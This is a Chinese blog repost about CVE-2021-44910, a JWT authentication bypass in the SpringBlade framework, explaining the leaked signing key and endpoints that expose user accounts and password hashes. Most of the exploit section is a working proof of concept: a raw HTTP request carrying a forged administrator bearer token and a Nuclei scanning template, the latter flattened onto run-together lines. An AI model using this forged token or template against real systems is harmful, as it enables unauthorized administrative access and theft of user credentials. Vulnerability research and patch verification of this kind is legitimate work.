当前位置: 首页 > news >正文

springblade-JWT认证缺陷漏洞CVE-2021-44910

漏洞成因

SpringBlade前端通过webpack打包发布的,可以从其中找到app.js获取大量接口

然后直接访问接口:api/blade-log/api/list

直接搜索“请求未授权”,定位到认证文件:springblade/gateway/filter/AuthFilter.java

后面的代码审计可以参考

转载:SpringBlade框架JWT认证缺陷漏洞CVE-2021-44910-CSDN博客

大概意思就是这个认证判断有个逻辑缺陷,就是在泄露的前端pack里面对于jwt的判断认证不够严谨,并且加密的TokenConstant.SIGN_KEY也泄漏了

这样我们就能通过伪造jwt直接绕过鉴权,访问未授权的api接口

漏洞利用

api信息泄露

但是有可能会换名字,具体可以去前端webpack里找

/api/blade-log/api/list接口中会泄漏账号密码,只要管理员登录过

/api/blade-user/user-list泄露了账号密码

但是密码是加密过的,运气好可以爆开

poc

GET /api/blade-log/api/list HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.5qFj53pqhIZVccg_h0WAvd-FAjG7sDwfVUe5gPBHa0g
Connection: close

nucleipoc

id: springblade-jwt
info:name: Latiaospringblade-Jwtauthor: FeiNiaoseverity: highdescription: https://forum.butian.net/share/973tags: jwt,springblade
http:- raw:- |+GET /api/blade-log/api/list HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Accept-Encoding: gzip, deflate, brAccept: application/json, text/plain, */*Connection: closeAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.5qFj53pqhIZVccg_h0WAvd-FAjG7sDwfVUe5gPBHa0ghost-redirects: truemax-redirects: 2matchers-condition: andmatchers:- type: statusstatus:- 200- type: wordpart: bodywords:- "password"- "account"condition: and
http://www.lryc.cn/news/432282.html

相关文章:

  • Chapter 12 Vue CLI脚手架组件化开发
  • Ubuntu: 配置OpenCV环境
  • 芯片解决方案--SL8541e-OpenHarmony适配方案
  • Spring Boot之数据访问集成入门
  • Learn ComputeShader 09 Night version lenses
  • Java学习第七天
  • 深入剖析 Redis 基础及其在 Java 应用中的实战演练
  • Why I‘m getting 404 Resource Not Found to my newly Azure OpenAI deployment?
  • 【word导出带图片】使用docxtemplater导出word,通知书形式的word
  • 微信小程序路由跳转之间的区别
  • centos安装docker并配置加速器
  • 【软件测试】设计测试用例
  • Kafka【十三】消费者消费消息的偏移量
  • Python 的语法元素(容易忘记的)
  • 找到字符串中所有字母异位词问题
  • QEMU用户模式测试AARCH64程序
  • 机器学习(五) -- 监督学习(8) --神经网络2
  • 物联网之PWM呼吸灯、脉冲、LEDC
  • Python利用pyecharts实现数据可视化
  • 网恋照妖镜源码搭建教程
  • STM32
  • 用手机做抢答器 低预算知识竞赛活动的选择
  • ELK学习笔记(二)——使用K8S部署Kibana8.15.0
  • 报错:CPU指令集的问题
  • Type-C接口诱骗取电快充方案
  • 图像白平衡
  • SAP Business One 与无锡哲讯:携手共创企业数字化未来
  • Unity Adressables 使用说明(五)在运行时使用 Addressables(Use Addressables at Runtime)
  • 什么是死锁,如何解决?
  • 借助ChatGPT三步,完成课题申报书中研究价值部分写作全攻略指南